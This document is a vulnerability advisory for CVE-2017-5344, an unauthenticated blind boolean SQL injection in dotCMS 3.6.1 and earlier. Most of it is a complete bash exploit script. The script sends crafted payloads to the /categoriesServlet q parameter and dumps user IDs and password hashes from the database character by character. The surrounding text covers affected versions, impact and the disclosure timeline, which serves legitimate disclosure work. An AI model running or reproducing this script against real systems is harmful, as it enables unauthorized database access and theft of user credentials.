dotCMS 3.6.1 Blind Boolean SQL Injection

`# Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)  
  
## Product Description  
  
dotCMS is a scalable, java based, open source content management system  
(CMS) that has been designed to manage and deliver personalized, permission  
based content experiences across multiple channels. dotCMS can serve as the  
plaform for sites, mobile apps, mini-sites, portals, intranets or as a  
headless CMS (content is consumed via RESTful APIs). dotCMS is used  
everywhere, from running small sites to powering multi-node installations  
for governemnts, Fortune 100 companies, Universities and Global Brands. A  
dotCMS environment can scale to support hundreds of editors managing  
thousands of sites with millions of content objects.  
  
## Vulnerability Type  
  
Blind Boolean SQL injection  
  
## Vulnerability Description  
  
dotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind  
boolean SQL injection in the q and inode parameters at the  
/categoriesServlet path. This servlet is a remotely accessible,  
unauthenticated function of default dotCMS installations and can be  
exploited to exfiltrate sensitive information from databases accessible to  
the DMBS user configured with the product.  
  
Exploitation of the vulnerability is limited to the MySQL DMBS in 3.5 -  
3.6.1 as SQL escaping controls were added to address a similar  
vulnerability discovered in previous versions of the product. The means of  
bypassing these features which realise this vulnerability have only been  
successfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other  
DMBS's are not affected. Versions prior to 3.6 do not have these controls  
and can be exploited directly on a greater number of paired DMBS's.  
PostgreSQL is vulnerable in all described versions of dotCMS when  
PostgreSQL standard_confirming_strings setting is disabled (enabled by  
default).  
  
The vulnerability is the result of string interpolation and directly SQL  
statement execution without sanitising user input. The intermediate  
resolution for a previous SQLi vulnerability was to whitelist and partially  
filter user input before interpolation. This vulnerability overcomes this  
filtering to perform blind boolean SQL injection. The resolution to this  
vulnerability was to implement the use of prepared statements in the  
affected locations.  
  
This vulnerability has been present in dotCMS since at least since version  
3.0.  
  
## Exploit  
  
A proof of concept is available here:  
https://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli  
  
dotcms-dump.sh:  
  
#!/bin/bash  
#  
# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.  
# CVE: CVE-2017-5344  
# Author: Ben Nott <[email protected]>  
# Date: January 2017  
#  
# Note this exploit is tuned for MySQL backends but can be adapted  
# for other DMBS's.  
  
show_usage() {  
echo "Usage $0 [target]"  
echo  
echo "Where:"  
echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"  
echo  
echo "For example:"  
echo  
echo "$0 http://www.examplesite.com"  
echo "$0 https://www.mycmssite.com:9443"  
echo  
exit 1  
}  
  
test_exploit() {  
target=$1  
res=$(curl -k -s -X 'GET' \  
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \  
"${target}/categoriesServlet?q=%5c%5c%27")  
  
if [ $? -ne 0 ];  
then  
echo "Failed to connect. Check host and try again!"  
exit 1  
fi  
  
if [ -z "$res" ];  
then  
echo "The target appears vulnerable. We're good to go!"  
else  
echo "The target isn't vulnerable."  
exit 1  
fi  
}  
  
dump_char() {  
target=$1  
char=$2  
database=$3  
index=$4  
offset=$5  
column=$6  
avg_delay=$7  
  
if [ -z "$offset" ];  
then  
offset=1  
fi  
  
if [[ $char != *"char("* ]];  
then  
char="%22${char}%22"  
fi  
  
if [ -z "$column" ];  
then  
column="password_"  
fi  
  
# Controls the avg delay of a FALSE  
# request  
if [ -z "$avg_delay" ];  
then  
avg_delay="0.100"  
fi  
  
res=$(curl -k -sS \  
-w " %{time_total}" \  
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \  
"${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")  
data=$(echo $res | awk '{print $1}')  
rtt=$(echo $res | awk '{print $2}')  
  
# Calculate boolean based on time delay and  
# data presence.  
has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)  
if [ ! -z "$data" ];  
then  
if [ $has_delay -eq 1 ];  
then  
echo "$char"  
fi  
fi  
}  
  
testdb() {  
target=$1  
res=$(dump_char $target 1 "dotcms" 1 1)  
if [ ! -z "$res" ];  
then  
echo "dotcms"  
else  
res=$(dump_char $target 1 "dotcms2")  
if [ ! -z "$res" ];  
then  
echo "dotcms2"  
fi  
fi  
}  
  
convert_char() {  
char=$1  
conv="$char"  
  
if [ "$char" == "char(58)" ];  
then  
conv=":"  
elif [ "$char" == "char(47)" ];  
then  
conv="/"  
elif [ "$char" == "char(61)" ];  
then  
conv="="  
elif [ "$char" == "char(45)" ];  
then  
conv="-"  
fi  
  
echo -n "$conv"  
}  
  
a2chr() {  
a=$1  
printf 'char(%02d)' \'$a  
}  
  
n2chr() {  
n=$1  
printf 'char(%d)' $n  
}  
  
chr2a() {  
chr=$1  
chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')  
chr=`printf \\\\$(printf '%03o' $chr)`  
echo -n $chr  
}  
  
iter_chars() {  
target=$1  
db=$2  
user=$3  
offset=$4  
column=$5  
for c in {32..36} {38..94} {96..126}  
do  
c=$(n2chr $c)  
res=$(dump_char $target $c $db $user $offset $column)  
  
if [ ! -z "$res" ];  
then  
chr2a $res  
break  
fi  
done  
}  
  
exploit() {  
target=$1  
db=$(testdb $target)  
  
if [ -z "$db" ];  
then  
echo "Unable to identify database name used by dotcms instance!"  
exit 1  
fi  
  
echo "Dumping users and passwords from database..."  
echo  
  
for user in $(seq 0 1023);  
do  
validuser=1  
echo -n "| $user | "  
for offset in $(seq 1 1024);  
do  
res=$(iter_chars $target $db $user $offset "userid")  
  
if [ -z "$res" ];  
then  
if [ $offset -eq 1 ];  
then  
validuser=0  
fi  
break  
fi  
  
echo -n "$res";  
done  
  
if [ $validuser -eq 1 ];  
then  
printf " | "  
else  
printf " |\n"  
break  
fi  
for offset in $(seq 1 1024);  
do  
res=$(iter_chars $target $db $user $offset "password_")  
  
if [ -z "$res" ];  
then  
break  
fi  
  
echo -n "$res";  
done  
printf " |\n"  
done  
echo  
echo "Dumping complete!"  
}  
  
target=$1  
  
if [ -z "$target" ];  
then  
show_usage  
fi  
  
test_exploit $target  
exploit $target  
  
  
  
## Versions  
  
dotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL  
  
dotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings  
disabled)  
  
## Attack Type  
  
Unauthenticated, Remote  
  
## Impact  
  
The SQL injection vulnerability can be used to exfiltrate sensitive  
information from the DBMS used with dotCMS. Depending of the DBMS  
configuration and type, the issue could be as severe as establishing a  
remote shell (such as by using xp_exec on MSSQL servers) or in the most  
limited cases, restricted only to exfiltration of data in dotCMS database  
tables.  
  
## Credit  
  
This vulnerability was discovered by Ben Nott <[email protected]>.  
  
Credit goes to Erlar Lang for discovering similar SQL injection  
vulnerabilities in nearby code and for inspiring this discovery.  
  
## Disclosure Timeline  
  
* Jan 2, 2017 - Issue discovered.  
* Jan 2, 2017 - Vendor advised of discovery and contact requested for  
full disclosure.  
* Jan 4, 2017 - Provided full disclosure to vendor.  
* Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding  
validity.  
* Jan 14, 2017 - Vendor advised patch developed and preparing for release.  
* Jan 24, 2017 - Vendor advised patching in progress.  
* Feb 15, 2017 - Vendor advises ready for public disclosure.  
  
## References  
  
Vendor advisory: http://dotcms.com/security/SI-39  
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344  
`